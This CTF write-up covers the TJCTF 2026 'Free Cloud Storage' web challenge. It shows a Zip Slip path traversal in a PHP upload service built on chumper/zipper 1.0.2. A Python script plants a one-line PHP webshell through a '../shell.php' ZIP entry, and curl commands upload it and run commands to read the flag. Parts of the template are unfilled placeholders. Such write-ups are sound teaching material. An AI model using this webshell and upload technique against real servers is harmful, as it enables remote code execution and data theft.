← Back to Writeups
HTBN/AWeb

Free Cloud Storage

XESXOR8/23/20264 min read
#web#htb#n/a

Free Cloud Storage

Platform: Tjctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-16 | Status: Solved Techniques: arbitrary_file_write, decoy_flag_detection, php_webshell_upload, zip_slip_path_traversal

Summary

Task: PHP ZIP upload service using vulnerable chumper/zipper 1.0.2 library that extracts without path sanitization. Solution: Zip Slip attack with ../shell.php to write a webshell to the web root, then RCE to read flag.txt.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: tjctf | ID: 20260516_tjctf_free_cloud_storage
  • Tags: rce, path_traversal, php, file_upload, arbitrary_file_write, webshell, zip_slip, chumper_zipper
  • Indicators: ZIP file upload and server-side extraction, chumper/zipper library in composer.json, extractTo() called without path sanitization, upload directory is a subdirectory of the web root, flag.php exists as a decoy returning 'Nice try
  • Source: 20260516_tjctf_free_cloud_storage.md

Foothold

Vulnerability / Misconfiguration

  1. Arbitrary_file_write
  2. Decoy_flag_detection
  3. Php_webshell_upload
  4. Zip_slip_path_traversal
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • arbitrary_file_write
  • decoy_flag_detection
  • php_webshell_upload
  • zip_slip_path_traversal
  • Tags: rce, path_traversal, php, file_upload, arbitrary_file_write, webshell, zip_slip, chumper_zipper

Original Writeup

<details><summary>Click to expand original content</summary>

Free Cloud Storage — TJCTF 2026

Description

Free cloud storage, what could possibly go wrong?

English summary: A PHP web application that lets users upload ZIP files, which are extracted server-side into an /uploads/ directory. The goal is to find and read the flag on the server. Source code is provided via chall.zip.

Analysis

Application Architecture

  • Server: Apache/2.4.54 (Debian), PHP 7.4.33, running on Kubernetes
  • Framework: Plain PHP with Composer dependency chumper/zipper v1.0.2
  • Functionality: Upload a .zip file → extracted to /var/www/html/uploads/
  • Decoy: flag.php exists but only outputs "Nice try, but there's no flag here!"
  • Real flag: Located at /var/www/html/flag.txt

Source Code Review

upload.php — the core vulnerable file:

<?php
require 'vendor/autoload.php';
use Chumper\Zipper\Zipper;

$uploadDir = __DIR__ . '/uploads/';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!isset($_FILES['zipfile'])) {
        die("No file uploaded.");
    }

    $tmpName = $_FILES['zipfile']['tmp_name'];
    $fileName = basename($_FILES['zipfile']['name']);

    if (pathinfo($fileName, PATHINFO_EXTENSION) !== 'zip') {
        die("Only zip files allowed.");
    }

    $destination = $uploadDir . $fileName;
    if (!move_uploaded_file($tmpName, $destination)) {
        die("Upload failed.");
    }

    $zipper = new Zipper();
    $zipper->make($destination)->extractTo($uploadDir);
    echo "<p>Extraction complete!</p>";
}

composer.json:

{
  "name": "free-cloud-storage/zip-upload",
  "require": {
    "chumper/zipper": "1.0.2"
  }
}

Vulnerability: Zip Slip (Path Traversal in ZIP Extraction)

The Chumper\Zipper library version 1.0.2 does not sanitize filenames inside ZIP archives. When a ZIP entry contains path traversal sequences like ../, the extracted file is written relative to the extraction directory — escaping the intended /uploads/ folder.

Since the extraction directory is /var/www/html/uploads/, a filename of ../shell.php causes the file to be written to /var/www/html/shell.php — directly in the web root, accessible via HTTP.

Key conditions that make this exploitable:

  1. The extraction directory (/uploads/) is a subdirectory of the web root
  2. The web server executes .php files in the web root
  3. No filename sanitization is performed by the library
  4. The www-data user has write permissions to the web root

Solution

Step 1: Craft Malicious ZIP with Path Traversal

Create a ZIP archive where the entry name contains ../ to escape the uploads directory:

#!/usr/bin/env python3
"""
Free Cloud Storage - TJCTF 2026
Zip Slip exploit: write PHP webshell to web root via path traversal
"""
import zipfile

with zipfile.ZipFile('evil.zip', 'w') as z:
    z.writestr('../shell.php', '<?php system($_GET["c"]); ?>')

print("[+] Created evil.zip with entry: ../shell.php")

The ZIP contains a single entry named ../shell.php. When extracted to /var/www/html/uploads/, the ../ causes the file to be written to /var/www/html/shell.php.

Step 2: Upload the Malicious ZIP

curl -s -F "zipfile=@evil.zip" \
  "https://free-cloud-storage-f785d51d362639b1.tjc.tf/upload.php"
# Response: "File uploaded. Extracting... Extraction complete!"

Step 3: Verify RCE via Webshell

curl -s "https://free-cloud-storage-f785d51d362639b1.tjc.tf/shell.php?c=id"
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 4: Read the Flag

curl -s "https://free-cloud-storage-f785d51d362639b1.tjc.tf/shell.php?c=cat+/var/www/html/flag.txt"
# Output: tjctf{REDACTED}

What Didn't Work

  • flag.php: Decoy file — only outputs "Nice try, but there's no flag here!"
  • The real flag was in flag.txt, not flag.php
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR